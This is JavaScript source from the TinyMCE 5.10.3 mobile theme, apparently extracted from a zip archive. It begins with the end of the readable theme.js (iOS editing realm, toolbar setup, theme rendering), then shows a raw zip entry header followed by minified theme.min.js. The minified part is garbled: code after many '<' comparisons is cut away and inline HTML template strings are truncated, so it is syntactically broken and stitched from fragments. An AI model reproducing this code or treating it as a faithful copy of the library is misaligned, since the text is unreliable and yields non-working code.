'height', h); }); document.body.scrollTop = s.scrollTop; }); priorState.clear(); scrollEvents.on(function (s) { s.exclusives.unbind(); }); scrollEvents.clear(); remove$3(platform.container, resolve('fullscreen-maximized')); restoreStyles(); deregister(platform.toolbar); remove$2(platform.socket, 'overflow'); remove$2(platform.socket, '-webkit-overflow-scrolling'); blur$1(platform.editor.getFrame()); getActiveApi(platform.editor).each(function (editorApi) { editorApi.clearSelection(); }); }; var refreshStructure = function () { iosApi.run(function (api) { api.refreshStructure(); }); }; return { enter: enter, refreshStructure: refreshStructure, exit: exit }; }; var produce = function (raw) { var mobile = asRawOrDie$1('Getting IosWebapp schema', MobileSchema, raw); set$5(mobile.toolstrip, 'width', '100%'); set$5(mobile.container, 'position', 'relative'); var onView = function () { mobile.setReadOnly(mobile.readOnlyOnInit()); mode.enter(); }; var mask = build$1(sketch(onView, mobile.translate)); mobile.alloy.add(mask); var maskApi = { show: function () { mobile.alloy.add(mask); }, hide: function () { mobile.alloy.remove(mask); } }; var mode = create(mobile, maskApi); return { setReadOnly: mobile.setReadOnly, refreshStructure: mode.refreshStructure, enter: mode.enter, exit: mode.exit, destroy: noop }; }; function IosRealm (scrollIntoView) { var alloy = OuterContainer({ classes: [resolve('ios-container')] }); var toolbar = ScrollingToolbar(); var webapp = api$2(); var switchToEdit = makeEditSwitch(webapp); var socket = makeSocket(); var dropup = build(function () { webapp.run(function (w) { w.refreshStructure(); }); }, scrollIntoView); alloy.add(toolbar.wrapper); alloy.add(socket); alloy.add(dropup.component); var setToolbarGroups = function (rawGroups) { var groups = toolbar.createGroups(rawGroups); toolbar.setGroups(groups); }; var setContextToolbar = function (rawGroups) { var groups = toolbar.createGroups(rawGroups); toolbar.setContextToolbar(groups); }; var focusToolbar = function () { toolbar.focus(); }; var restoreToolbar = function () { toolbar.restoreToolbar(); }; var init = function (spec) { webapp.set(produce(spec)); }; var exit = function () { webapp.run(function (w) { Replacing.remove(socket, switchToEdit); w.exit(); }); }; var updateMode$1 = function (readOnly) { updateMode(socket, switchToEdit, readOnly, alloy.root); }; return { system: alloy, element: alloy.element, init: init, exit: exit, setToolbarGroups: setToolbarGroups, setContextToolbar: setContextToolbar, focusToolbar: focusToolbar, restoreToolbar: restoreToolbar, updateMode: updateMode$1, socket: socket, dropup: dropup }; } var global$1 = tinymce.util.Tools.resolve('tinymce.EditorManager'); var derive = function (editor) { var base = Optional.from(getSkinUrl(editor)).getOrThunk(function () { return global$1.baseURL + '/skins/ui/oxide'; }); return { content: base + '/content.mobile.min.css', ui: base + '/skin.mobile.min.css' }; }; var fireChange = function (realm, command, state) { realm.system.broadcastOn([formatChanged], { command: command, state: state }); }; var init = function (realm, editor) { var allFormats = keys(editor.formatter.get()); each$1(allFormats, function (command) { editor.formatter.formatChanged(command, function (state) { fireChange(realm, command, state); }); }); each$1([ 'ul', 'ol' ], function (command) { editor.selection.selectorChanged(command, function (state, _data) { fireChange(realm, command, state); }); }); }; var fireSkinLoaded = function (editor) { return function () { var done = function () { editor._skinLoaded = true; editor.fire('SkinLoaded'); }; if (editor.initialized) { done(); } else { editor.on('init', done); } }; }; var READING = 'toReading'; var EDITING = 'toEditing'; var renderMobileTheme = function (editor) { var renderUI = function () { var targetNode = editor.getElement(); var cssUrls = derive(editor); if (isSkinDisabled(editor) === false) { var styleSheetLoader_1 = global$5.DOM.styleSheetLoader; editor.contentCSS.push(cssUrls.content); styleSheetLoader_1.load(cssUrls.ui, fireSkinLoaded(editor)); editor.on('remove', function () { return styleSheetLoader_1.unload(cssUrls.ui); }); } else { fireSkinLoaded(editor)(); } var doScrollIntoView = function () { editor.fire('ScrollIntoView'); }; var realm = detect$1().os.isAndroid() ? AndroidRealm(doScrollIntoView) : IosRealm(doScrollIntoView); var original = SugarElement.fromDom(targetNode); attachSystemAfter(original, realm.system); var findFocusIn = function (elem) { return search(elem).bind(function (focused) { return realm.system.getByDom(focused).toOptional(); }); }; var outerWindow = targetNode.ownerDocument.defaultView; var orientation = onChange(outerWindow, { onChange: function () { var alloy = realm.system; alloy.broadcastOn([orientationChanged], { width: getActualWidth(outerWindow) }); }, onReady: noop }); var setReadOnly = function (dynamicGroup, readOnlyGroups, mainGroups, ro) { if (ro === false) { editor.selection.collapse(); } var toolbars = configureToolbar(dynamicGroup, readOnlyGroups, mainGroups); realm.setToolbarGroups(ro === true ? toolbars.readOnly : toolbars.main); editor.setMode(ro === true ? 'readonly' : 'design'); editor.fire(ro === true ? READING : EDITING); realm.updateMode(ro); }; var configureToolbar = function (dynamicGroup, readOnlyGroups, mainGroups) { var dynamic = dynamicGroup.get(); var toolbars = { readOnly: dynamic.backToMask.concat(readOnlyGroups.get()), main: dynamic.backToMask.concat(mainGroups.get()) }; return toolbars; }; var bindHandler = function (label, handler) { editor.on(label, handler); return { unbind: function () { editor.off(label); } }; }; editor.on('init', function () { realm.init({ editor: { getFrame: function () { return SugarElement.fromDom(editor.contentAreaContainer.querySelector('iframe')); }, onDomChanged: function () { return { unbind: noop }; }, onToReading: function (handler) { return bindHandler(READING, handler); }, onToEditing: function (handler) { return bindHandler(EDITING, handler); }, onScrollToCursor: function (handler) { editor.on('ScrollIntoView', function (tinyEvent) { handler(tinyEvent); }); var unbind = function () { editor.off('ScrollIntoView'); orientation.destroy(); }; return { unbind: unbind }; }, onTouchToolstrip: function () { hideDropup(); }, onTouchContent: function () { var toolbar = SugarElement.fromDom(editor.editorContainer.querySelector('.' + resolve('toolbar'))); findFocusIn(toolbar).each(emitExecute); realm.restoreToolbar(); hideDropup(); }, onTapContent: function (evt) { var target = evt.target; if (name$1(target) === 'img') { editor.selection.select(target.dom); evt.kill(); } else if (name$1(target) === 'a') { var component = realm.system.getByDom(SugarElement.fromDom(editor.editorContainer)); component.each(function (container) { if (Swapping.isAlpha(container)) { openLink(target.dom); } }); } } }, container: SugarElement.fromDom(editor.editorContainer), socket: SugarElement.fromDom(editor.contentAreaContainer), toolstrip: SugarElement.fromDom(editor.editorContainer.querySelector('.' + resolve('toolstrip'))), toolbar: SugarElement.fromDom(editor.editorContainer.querySelector('.' + resolve('toolbar'))), dropup: realm.dropup, alloy: realm.system, translate: noop, setReadOnly: function (ro) { setReadOnly(dynamicGroup, readOnlyGroups, mainGroups, ro); }, readOnlyOnInit: function () { return readOnlyOnInit(); } }); var hideDropup = function () { realm.dropup.disappear(function () { realm.system.broadcastOn([dropupDismissed], {}); }); }; var backToMaskGroup = { label: 'The first group', scrollable: false, items: [forToolbar('back', function () { editor.selection.collapse(); realm.exit(); }, {}, editor)] }; var backToReadOnlyGroup = { label: 'Back to read only', scrollable: false, items: [forToolbar('readonly-back', function () { setReadOnly(dynamicGroup, readOnlyGroups, mainGroups, true); }, {}, editor)] }; var readOnlyGroup = { label: 'The read only mode group', scrollable: true, items: [] }; var features = setup$3(realm, editor); var items = detect(editor, features); var actionGroup = { label: 'the action group', scrollable: true, items: items }; var extraGroup = { label: 'The extra group', scrollable: false, items: [] }; var mainGroups = Cell([ actionGroup, extraGroup ]); var readOnlyGroups = Cell([ readOnlyGroup, extraGroup ]); var dynamicGroup = Cell({ backToMask: [backToMaskGroup], backToReadOnly: [backToReadOnlyGroup] }); init(realm, editor); }); editor.on('remove', function () { realm.exit(); }); editor.on('detach', function () { detachSystem(realm.system); realm.system.destroy(); }); return { iframeContainer: realm.socket.element.dom, editorContainer: realm.element.dom }; }; return { getNotificationManagerImpl: function () { return { open: constant$1({ progressBar: { value: noop }, close: noop, text: noop, getEl: constant$1(null), moveTo: noop, moveRel: noop, settings: {} }), close: noop, reposition: noop, getArgs: constant$1({}) }; }, renderUI: renderUI }; }; function Theme () { global$4.add('mobile', renderMobileTheme); } Theme(); }()); PKZ+gpp-js/plugins/tinymce/themes/mobile/theme.min.jsnu[/** * Copyright (c) Tiny Technologies, Inc. All rights reserved. * Licensed under the LGPL or a commercial license. * For LGPL see License.txt in the project root for license information. * For commercial licenses see https://www.tiny.cloud/ * * Version: 5.10.3 (2022-02-09) */ !function(){"use strict";var y=function(){return(y=Object.assign||function(n){for(var e,t=1,o=arguments.length;t "+o.toString()},function(n,e){return"state("+n+")"})}).join("\n")+"}"}}},mo=w(fo),go=(Qt=m,_t(function(n){var e=typeof n;return Qt(n)?no(n):eo("Expected type: function but got: "+e)})),po=function(n){return"Errors: \n"+Z(10<(e=n.errors).length?e.slice(0,10).concat([{path:[],getErrorInfo:w("... (only showing first ten failures)")}]):e,function(n){return"Failed path: ("+n.path.join(" > ")+")\n"+n.getErrorInfo()}).join("\n")+"\n\nInput object: "+Dt(n.input);var e},ho=xt,vo=function(n,e){return{tag:"custom",newKey:n,instantiator:e}},bo=[Lt("alpha"),Lt("omega")];function yo(n,e){return(t={})[n]=e,t;var t}function xo(n){return e={},M(n,function(n){e[n.key]=n.value}),e;var e}function wo(n,e,t){return void 0===t&&(t=o),n.exists(function(n){return t(n,e)})}function So(n){for(var e=[],t=function(n){e.push(n)},o=0;o="/*".length&&"/*"===n.substr(e,e+"/*".length)?n.substring(0,n.length-"/*".length):n;var e})},nr=function(t,n,l,i,e,o,r){function u(n){return Re(n,l)?n[l]():mn.none()}var c=De(e,function(n,e){return r=l,t=function(t){for(var n=[],e=1;e"}),mo()),ta=vo("schema",function(){return[Ut("preprocess")]}),oa=Yt("defaults",w({})),ra=Yt("overrides",w({})),ia=lo([Qc,Zc,na,ea,oa,ra]),ua=lo([Qc,Zc,na,oa,ra]),ca=lo([Qc,Zc,na,ea,oa,ra]),aa=lo([Qc,ta,na,Lt("unit"),ea,oa,ra]),sa=Wu(Jc.required,ia);function fa(n,e,t,o){return co(e.defaults(n,t,o),t,{uid:n.partUids[e.name]},e.overrides(n,t,o))}function la(n,e,t){return o=e,r={},i={},M(t,function(n){n.fold(function(o){r[o.pname]=Xc(!0,function(n,e,t){return o.factory.sketch(fa(n,o,e,t))})},function(n){var e=o.parts[n.name];i[n.name]=w(n.factory.sketch(fa(o,n,e[zs()]),e))},function(o){r[o.pname]=Xc(!1,function(n,e,t){return o.factory.sketch(fa(n,o,e,t))})},function(o){r[o.pname]=qc(!0,function(e,n,t){return Z(e[o.name],function(n){return o.factory.sketch(co(o.defaults(e,n,t),n,o.overrides(e,n)))})})})}),{internals:w(r),externals:w(i)};var o,r,i}function da(n,e,t){return o=mn.some(n),i=(r=e).components,s=De(t,function(n,e){return o=n,r=!1,{name:w(t=e),required:function(){return o.fold(function(n,e){return n},function(n,e){return n})},used:function(){return r},replace:function(){if(r)throw new Error("Trying to use the same placeholder more than once: "+t);return r=!0,o}};var t,o,r}),u=o,c=r,a=s,f=B(i,function(n){return Wc(u,c,n,a)}),Ee(s,function(n){if(!1===n.used()&&n.required())throw new Error("Placeholder: "+n.name()+" was not found in components list\nNamespace: "+o.getOr("none")+"\nComponents: "+JSON.stringify(r.components,null,2))}),f;var o,r,i,u,c,a,s,f}function ma(n,e,t){var o=e.partUids[t];return n.getSystem().getByUid(o).toOptional()}function ga(n,e,t){return ma(n,e,t).getOrDie("Could not find part: "+t)}function pa(o){return ho("partUids","partUids",Et(function(n){return e=n.uid,t=Z(o,Uu),xo(Z(t,function(n){return{key:n,value:e+"-"+n}}));var e,t}),mo())}function ha(n){return yo(Ls,n)}function va(o){return n=function(n){for(var e=[],t=1;t')},function(n){return Oa(''+n+"")})}function Da(e){return Hs({name:e+"-edge",overrides:function(n){return n.model.manager.edgeActions[e].fold(function(){return{}},function(o){return{events:qo([Do(Vn(),function(n,e,t){return o(n,t)},[n]),Do(Nn(),function(n,e,t){return o(n,t)},[n]),Do(Hn(),function(n,e,t){t.mouseIsDown.get()&&o(n,t)},[n])])}})}})}function Ma(n,e,t){e.store.manager.onLoad(n,e,t)}function _a(n,e,t){e.store.manager.onUnload(n,e,t)}function Ra(){var n=No(null);return tr({set:n.set,get:n.get,isNotSet:function(){return null===n.get()},clear:function(){n.set(null)},readState:function(){return{mode:"memory",value:n.get()}}})}function Fa(){var i=No({}),u=No({});return tr({readState:function(){return{mode:"dataset",dataByValue:i.get(),dataByText:u.get()}},lookup:function(n){return _e(i.get(),n).orThunk(function(){return _e(u.get(),n)})},update:function(n){var e=i.get(),t=u.get(),o={},r={};M(n,function(e){_e(o[e.value]=e,"meta").each(function(n){_e(n,"text").each(function(n){r[n]=e})})}),i.set(y(y({},e),o)),u.set(y(y({},t),r))},clear:function(){i.set({}),u.set({})}})}function Ia(n,e,t,o){var r=e.store;t.update([o]),r.setValue(n,o),e.onSetValue(n,o)}function Va(n,e){return vf.set(n,e)}function Ba(n){return vf.get(n)}function Aa(n){var e=n.event.raw;return-1===e.type.indexOf("touch")?void 0!==e.clientX?mn.some(e).map(function(n){return yf(n.clientX,n.clientY)}):mn.none():void 0!==e.touches&&1===e.touches.length?mn.some(e.touches[0]).map(function(n){return yf(n.clientX,n.clientY)}):mn.none()}function Na(n){return n.model.minX}function Ha(n){return n.model.minY}function Pa(n){return n.model.minX-1}function za(n){return n.model.minY-1}function ja(n){return n.model.maxX}function La(n){return n.model.maxY}function $a(n){return n.model.maxX+1}function Ga(n){return n.model.maxY+1}function Ua(n,e,t){return e(n)-t(n)}function Wa(n){return Ua(n,ja,Na)}function Xa(n){return Ua(n,La,Ha)}function qa(n){return Wa(n)/2}function Ya(n){return Xa(n)/2}function Ka(n){return n.stepSize}function Ja(n){return n.snapToGrid}function Qa(n){return n.snapStart}function Za(n){return n.rounded}function ns(n,e){return void 0!==n[e+"-edge"]}function es(n){return ns(n,"left")}function ts(n){return ns(n,"right")}function os(n){return ns(n,"top")}function rs(n){return ns(n,"bottom")}function is(n){return n.model.value.get()}function us(n,e){return{x:n,y:e}}function cs(n,e){X(n,xf(),{value:e})}function as(n,e,t,o){return n'),components:[$f.parts["left-edge"](ka('
    ')),$f.parts.spectrum({dom:Oa('
    '),components:[ka('
    ')],behaviours:or([ii.config({toggleClass:ci("thumb-active")})])}),$f.parts["right-edge"](ka('
    ')),$f.parts.thumb({dom:Oa('
    '),behaviours:or([ii.config({toggleClass:ci("thumb-active")})])})],onChange:function(n,e,t){var o=i(t.x());$r(e.element,"background-color",o),r.onChange(n,e,o)},onDragStart:function(n,e){ii.on(e)},onDragEnd:function(n,e){ii.off(e)},onInit:function(n,e,t,o){var r=i(o.x());$r(e.element,"background-color",r)},stepSize:10,model:{mode:"x",minX:0,maxX:360,getInitialValue:function(){return{x:r.getInitialValue()}}},sliderBehaviours:or([Nr($f.refresh)])}))];function i(n){return n<0?"black":360'),(e={onChange:n.onChange,sizes:Xf,category:"font",getInitialValue:n.getInitialValue},r=zt("SizeSlider",Wf,e),$f.sketch({dom:{tag:"div",classes:[ci("slider-"+r.category+"-size-container"),ci("slider"),ci("slider-size-container")]},onChange:function(n,e,t){var o=t.x();0<=o&&o'),components:[ka('
    ')]}),$f.parts.thumb({dom:Oa('
    '),behaviours:or([ii.config({toggleClass:ci("thumb-active")})])})]})),ka('')];var e,r}function Ns(n){var e=void 0!==n.uid&&Re(n,"uid")?n.uid:qs("memento");return{get:function(n){return n.getSystem().getByUid(e).getOrDie()},getOpt:function(n){return n.getSystem().getByUid(e).toOptional()},asSpec:function(){return y(y({},n),{uid:e})}}}Wu(Jc.external,ua);var Hs=Wu(Jc.optional,ca),Ps=Wu(Jc.group,aa),zs=w("entirety"),js=function(n,e){return{uiType:Yc(),owner:n,name:e}},Ls=Gu("alloy-premade"),$s=w("alloy-id-"),Gs=w("data-alloy-id"),Us=$s(),Ws=Gs(),Xs=function(n,e){Object.defineProperty(n.dom,Ws,{value:e,writable:!0})},qs=Gu,Ys=function(n){return dt(n,"uid")?n:y(y({},n),{uid:qs("uid")})},Ks=It([Lt("name"),Lt("factory"),Lt("configFields"),Yt("apis",{}),Yt("extraApis",{})]),Js=It([Lt("name"),Lt("factory"),Lt("configFields"),Lt("partFields"),Yt("apis",{}),Yt("extraApis",{})]),Qs=wa({name:"Button",factory:function(n){function t(e){return _e(n.dom,"attributes").bind(function(n){return _e(n,e)})}var e,o=(e=n.action,qo(V([e.map(function(t){return Qo(function(n,e){t(n),e.stop()})}).toArray(),Pr()]))),r=n.dom.tag;return{uid:n.uid,dom:n.dom,components:n.components,events:o,behaviours:$c(n.buttonBehaviours,[fi.config({}),jc.config({mode:"execution",useSpace:!0,useEnter:!0})]),domModification:{attributes:function(){if("button"!==r)return{role:t("role").getOr("button")};var n=t("type").getOr("button"),e=t("role").map(function(n){return{role:n}}).getOr({});return y({type:n},e)}()},eventOrder:n.eventOrder}},configFields:[Yt("uid",void 0),Lt("dom"),Yt("components",[]),Lc("buttonBehaviours",[fi,jc]),Ut("action"),Ut("role"),Yt("eventOrder",{})]}),Zs=Ao({fields:[],name:"unselecting",active:Object.freeze({__proto__:null,events:function(){return qo([Co(Xn(),x)])},exhibit:function(){return Io({styles:{"-webkit-user-select":"none","user-select":"none","-ms-user-select":"none","-moz-user-select":"-moz-none"},attributes:{unselectable:"on"}})}})}),nf=function(n,e,t,o){return Qs.sketch({dom:Ea(n,o),action:e,buttonBehaviours:co(or([Zs.config({})]),t)})},ef=Hs({schema:[Lt("dom")],name:"label"}),tf=Da("top-left"),of=Da("top"),rf=Da("top-right"),uf=Da("right"),cf=Da("bottom-right"),af=Da("bottom"),sf=Da("bottom-left"),ff=[ef,Da("left"),uf,of,af,tf,rf,sf,cf,sa({name:"thumb",defaults:w({dom:{styles:{position:"absolute"}}}),overrides:function(n){return{events:qo([_o(Vn(),n,"spectrum"),_o(Bn(),n,"spectrum"),_o(An(),n,"spectrum"),_o(Nn(),n,"spectrum"),_o(Hn(),n,"spectrum"),_o(Pn(),n,"spectrum")])}}}),sa({schema:[vo("mouseIsDown",function(){return No(!1)})],name:"spectrum",overrides:function(t){function o(e,n){return r.getValueFromEvent(n).map(function(n){return r.setValueFrom(e,t,n)})}var r=t.model.manager;return{behaviours:or([jc.config({mode:"special",onLeft:function(n){return r.onLeft(n,t)},onRight:function(n){return r.onRight(n,t)},onUp:function(n){return r.onUp(n,t)},onDown:function(n){return r.onDown(n,t)}}),fi.config({})]),events:qo([Eo(Vn(),o),Eo(Bn(),o),Eo(Nn(),o),Eo(Hn(),function(n,e){t.mouseIsDown.get()&&o(n,e)})])}}})],lf=Object.freeze({__proto__:null,onLoad:Ma,onUnload:_a,setValue:function(n,e,t,o){e.store.manager.setValue(n,e,t,o)},getValue:function(n,e,t){return e.store.manager.getValue(n,e,t)},getState:function(n,e,t){return t}}),df=Object.freeze({__proto__:null,events:function(t,o){var n=t.resetOnDom?[Yo(function(n,e){Ma(n,t,o)}),Ko(function(n,e){_a(n,t,o)})]:[Vo(t,o,Ma)];return qo(n)}}),mf=Object.freeze({__proto__:null,memory:Ra,dataset:Fa,manual:function(){return tr({readState:Y})},init:function(n){return n.store.manager.state(n)}}),gf=[Ut("initialValue"),Lt("getFallbackEntry"),Lt("getDataKey"),Lt("setValue"),Dr("manager",{setValue:Ia,getValue:function(n,e,t){var o=e.store,r=o.getDataKey(n);return t.lookup(r).getOrThunk(function(){return o.getFallbackEntry(r)})},onLoad:function(e,t,o){t.store.initialValue.each(function(n){Ia(e,t,o,n)})},onUnload:function(n,e,t){t.clear()},state:Fa})],pf=[Lt("getValue"),Yt("setValue",Y),Ut("initialValue"),Dr("manager",{setValue:function(n,e,t,o){e.store.setValue(n,o),e.onSetValue(n,o)},getValue:function(n,e,t){return e.store.getValue(n)},onLoad:function(e,t,n){t.store.initialValue.each(function(n){t.store.setValue(e,n)})},onUnload:Y,state:er.init})],hf=Ao({fields:[Kt("store",{mode:"memory"},jt("mode",{memory:[Ut("initialValue"),Dr("manager",{setValue:function(n,e,t,o){t.set(o),e.onSetValue(n,o)},getValue:function(n,e,t){return t.get()},onLoad:function(n,e,t){e.store.initialValue.each(function(n){t.isNotSet()&&t.set(n)})},onUnload:function(n,e,t){t.clear()},state:Ra})],manual:pf,dataset:gf})),kr("onSetValue"),Yt("resetOnDom",!1)],name:"representing",active:df,apis:lf,extra:{setValueFrom:function(n,e){var t=hf.getValue(e);hf.setValue(n,t)}},state:mf}),vf=Yr("width",function(n){return n.dom.offsetWidth}),bf=function(t,o){return{left:t,top:o,translate:function(n,e){return bf(t+n,o+e)}}},yf=bf,xf=w("slider.change.value"),wf="left",Sf=ks(-1),Of=ks(1),kf=mn.none,Tf=mn.none,Cf={"top-left":mn.none(),top:mn.none(),"top-right":mn.none(),right:mn.some(function(n,e){cs(n,{x:$a(e)})}),"bottom-right":mn.none(),bottom:mn.none(),"bottom-left":mn.none(),left:mn.some(function(n,e){cs(n,{x:Pa(e)})})},Ef=Object.freeze({__proto__:null,setValueFrom:function(n,e,t){var o=Os(n,e,t);return Ss(n,{x:o}),o},setToMin:function(n,e){Ss(n,{x:Na(e)})},setToMax:function(n,e){Ss(n,{x:ja(e)})},findValueOfOffset:Os,getValueFromEvent:function(n){return Aa(n).map(function(n){return n.left})},findPositionOfValue:Ts,setPositionFromValue:function(n,e,t,o){var r=is(t),i=Ts(n,o.getSpectrum(n),r.x,o.getLeftEdge(n),o.getRightEdge(n),t),u=Ba(e.element)/2;$r(e.element,"left",i-u+"px")},onLeft:Sf,onRight:Of,onUp:kf,onDown:Tf,edgeActions:Cf}),Df=mn.none,Mf=mn.none,_f=Ds(-1),Rf=Ds(1),Ff={"top-left":mn.none(),top:mn.some(function(n,e){cs(n,{y:za(e)})}),"top-right":mn.none(),right:mn.none(),"bottom-right":mn.none(),bottom:mn.some(function(n,e){cs(n,{y:Ga(e)})}),"bottom-left":mn.none(),left:mn.none()},If=Object.freeze({__proto__:null,setValueFrom:function(n,e,t){var o=Es(n,e,t);return Cs(n,{y:o}),o},setToMin:function(n,e){Cs(n,{y:Ha(e)})},setToMax:function(n,e){Cs(n,{y:La(e)})},findValueOfOffset:Es,getValueFromEvent:function(n){return Aa(n).map(function(n){return n.top})},findPositionOfValue:Ms,setPositionFromValue:function(n,e,t,o){var r=is(t),i=Ms(n,o.getSpectrum(n),r.y,o.getTopEdge(n),o.getBottomEdge(n),t),u=Kr(e.element)/2;$r(e.element,"top",i-u+"px")},onLeft:Df,onRight:Mf,onUp:_f,onDown:Rf,edgeActions:Ff}),Vf=Aa,Bf=Fs(-1,!1),Af=Fs(1,!1),Nf=Fs(-1,!0),Hf=Fs(1,!0),Pf={"top-left":mn.some(function(n,e){cs(n,us(Pa(e),za(e)))}),top:mn.some(function(n,e){cs(n,us(qa(e),za(e)))}),"top-right":mn.some(function(n,e){cs(n,us($a(e),za(e)))}),right:mn.some(function(n,e){cs(n,us($a(e),Ya(e)))}),"bottom-right":mn.some(function(n,e){cs(n,us($a(e),Ga(e)))}),bottom:mn.some(function(n,e){cs(n,us(qa(e),Ga(e)))}),"bottom-left":mn.some(function(n,e){cs(n,us(Pa(e),Ga(e)))}),left:mn.some(function(n,e){cs(n,us(Pa(e),Ya(e)))})},zf=Object.freeze({__proto__:null,setValueFrom:function(n,e,t){var o=Rs(Os(n,e,t.left),Es(n,e,t.top));return _s(n,o),o},setToMin:function(n,e){_s(n,Rs(Na(e),Ha(e)))},setToMax:function(n,e){_s(n,Rs(ja(e),La(e)))},getValueFromEvent:Vf,setPositionFromValue:function(n,e,t,o){var r=is(t),i=Ts(n,o.getSpectrum(n),r.x,o.getLeftEdge(n),o.getRightEdge(n),t),u=Ms(n,o.getSpectrum(n),r.y,o.getTopEdge(n),o.getBottomEdge(n),t),c=Ba(e.element)/2,a=Kr(e.element)/2;$r(e.element,"left",i-c+"px"),$r(e.element,"top",u-a+"px")},onLeft:Bf,onRight:Af,onUp:Nf,onDown:Hf,edgeActions:Pf}),jf=[Yt("stepSize",1),Yt("onChange",Y),Yt("onChoose",Y),Yt("onInit",Y),Yt("onDragStart",Y),Yt("onDragEnd",Y),Yt("snapToGrid",!1),Yt("rounded",!0),Ut("snapStart"),$t("model",jt("mode",{x:[Yt("minX",0),Yt("maxX",100),vo("value",function(n){return No(n.mode.minX)}),Lt("getInitialValue"),Dr("manager",Ef)],y:[Yt("minY",0),Yt("maxY",100),vo("value",function(n){return No(n.mode.minY)}),Lt("getInitialValue"),Dr("manager",If)],xy:[Yt("minX",0),Yt("maxX",100),Yt("minY",0),Yt("maxY",100),vo("value",function(n){return No({x:n.mode.minX,y:n.mode.minY})}),Lt("getInitialValue"),Dr("manager",zf)]})),ju("sliderBehaviours",[jc,hf]),vo("mouseIsDown",function(){return No(!1)})],Lf=w("mouse.released"),$f=Sa({name:"Slider",configFields:jf,partFields:ff,factory:function(i,n,e,t){function u(n){return ga(n,i,"thumb")}function c(n){return ga(n,i,"spectrum")}function o(n){return ma(n,i,"left-edge")}function r(n){return ma(n,i,"right-edge")}function a(n){return ma(n,i,"top-edge")}function s(n){return ma(n,i,"bottom-edge")}function f(n,e){v.setPositionFromValue(n,e,i,{getLeftEdge:o,getRightEdge:r,getTopEdge:a,getBottomEdge:s,getSpectrum:c})}function l(n,e){h.value.set(e),f(n,u(n))}function d(t){var n=i.mouseIsDown.get();i.mouseIsDown.set(!1),n&&ma(t,i,"thumb").each(function(n){var e=h.value.get();i.onChoose(t,n,e)})}function m(n,e){e.stop(),i.mouseIsDown.set(!0),i.onDragStart(n,u(n))}function g(n,e){e.stop(),i.onDragEnd(n,u(n)),d(n)}var p,h=i.model,v=h.manager;return{uid:i.uid,dom:i.dom,components:n,behaviours:Lu(i.sliderBehaviours,[jc.config({mode:"special",focusIn:function(n){return ma(n,i,"spectrum").map(jc.focusIn).map(x)}}),hf.config({store:{mode:"manual",getValue:function(n){return h.value.get()}}}),ti.config({channels:((p={})[Lf()]={onReceive:d},p)})]),events:qo([Eo(xf(),function(n,e){!function(n,e){l(n,e);var t=u(n);i.onChange(n,t,e),mn.some(!0)}(n,e.event.value)}),Yo(function(n,e){var t=h.getInitialValue();h.value.set(t);var o=u(n);f(n,o);var r=c(n);i.onInit(n,o,r,h.value.get())}),Eo(Vn(),m),Eo(An(),g),Eo(Nn(),m),Eo(Pn(),g)]),apis:{resetToMin:function(n){v.setToMin(n,i)},resetToMax:function(n){v.setToMax(n,i)},setValue:l,refresh:f},domModification:{styles:{position:"relative"}}}},apis:{setValue:function(n,e,t){n.setValue(e,t)},resetToMin:function(n,e){n.resetToMin(e)},resetToMax:function(n,e){n.resetToMax(e)},refresh:function(n,e){n.refresh(e)}}}),Gf=["9px","10px","11px","12px","14px","16px","18px","20px","24px","32px","36px"],Uf=w(Gf),Wf=It([Lt("getInitialValue"),Lt("onChange"),Lt("category"),Lt("sizes")]),Xf=Uf(),qf={},Yf={exports:qf};function Kf(u){var e=Ns({dom:{tag:"input",attributes:{accept:"image/*",type:"file",title:""},styles:{visibility:"hidden",position:"absolute"}},events:qo([Ro(Un()),Eo(Gn(),function(n,e){var t=e.event.raw,o=t.target.files||t.dataTransfer.files;mn.from(o[0]).each(function(n){var r,t,i=u;r=n,t=r,new Jl(function(n){var e=new FileReader;e.onloadend=function(){n(e.result)},e.readAsDataURL(t)}).then(function(n){return n.split(",")[1]}).then(function(o){i.undoManager.transact(function(){var n=i.editorUpload.blobCache,e=n.create(Gu("mceu"),r,o);n.add(e);var t=i.dom.createHTML("img",{src:e.blobUri()});i.insertContent(t)})})})})])});return Qs.sketch({dom:Ea("image",u),components:[e.asSpec()],action:function(n){e.get(n).element.dom.click()}})}function Jf(n){return n.dom.textContent}function Qf(n){return 0'),action:function(n){var e=t.get(n);hf.setValue(e,"")}}));return{name:n,spec:td.sketch({dom:Oa('
    '),components:[t.asSpec(),o.asSpec()],containerBehaviours:or([ii.config({toggleClass:ci("input-container-empty")}),ed.config({find:function(n){return mn.some(t.get(n))}}),el("input-clearing",[Eo($n(),function(n){var e=t.get(n);(0"}function sl(o,r){return Ca(r,"link","link",function(){var n,e,t=hd(o,r);o.setContextToolbar(t),n=r,e=function(){o.focusToolbar()},(Zl.os.isAndroid()?function(n,e){var t=e.selection.getRng();n(),e.selection.setRng(t)}:p)(e,n),Ql(r).each(function(n){r.selection.select(n.dom)})})}function fl(e){function t(n){return"The component must be in a context to execute: "+n+(e?"\n"+$o(e().element)+" is not in context.":"")}function n(n){return function(){throw new Error(t(n))}}function o(n){return function(){console.warn(t(n))}}return{debugInfo:w("fake"),triggerEvent:o("triggerEvent"),triggerFocus:o("triggerFocus"),triggerEscape:o("triggerEscape"),broadcast:o("broadcast"),broadcastOn:o("broadcastOn"),broadcastEvent:o("broadcastEvent"),build:n("build"),addToWorld:n("addToWorld"),removeFromWorld:n("removeFromWorld"),addToGui:n("addToGui"),removeFromGui:n("removeFromGui"),getByUid:n("getByUid"),getByDom:n("getByDom"),isConnected:S}}function ll(n,r){var i={};return Ee(n,function(n,o){Ee(n,function(n,e){var t=_e(i,e).getOr([]);i[e]=t.concat([r(o,n)])})}),i}function dl(n){return n.cHandler}function ml(n,e){return{name:n,handler:e}}function gl(n,e,t){var o=e[t];return o?function(u,c,n,a){try{var e=(t=function(n,e){var t=n[c],o=e[c],r=a.indexOf(t),i=a.indexOf(o);if(-1===r)throw new Error("The ordering for "+u+" does not have an entry for "+t+".\nOrder specified: "+JSON.stringify(a,null,2));if(-1===i)throw new Error("The ordering for "+u+" does not have an entry for "+o+".\nOrder specified: "+JSON.stringify(a,null,2));return r'),components:[td.sketch({dom:Oa('
    '),components:Z(s.fields,function(n,e){return e<=s.maxFieldIndex?td.sketch({dom:Oa('
    '),components:[i(-1,"previous",0'),behaviours:or([Qi.config({highlightClass:ci("dot-active"),itemClass:ci("dot-item")})]),components:B(s.fields,function(n,e){return e<=s.maxFieldIndex?[ka('
    ')]:[]})}),{dom:Oa('
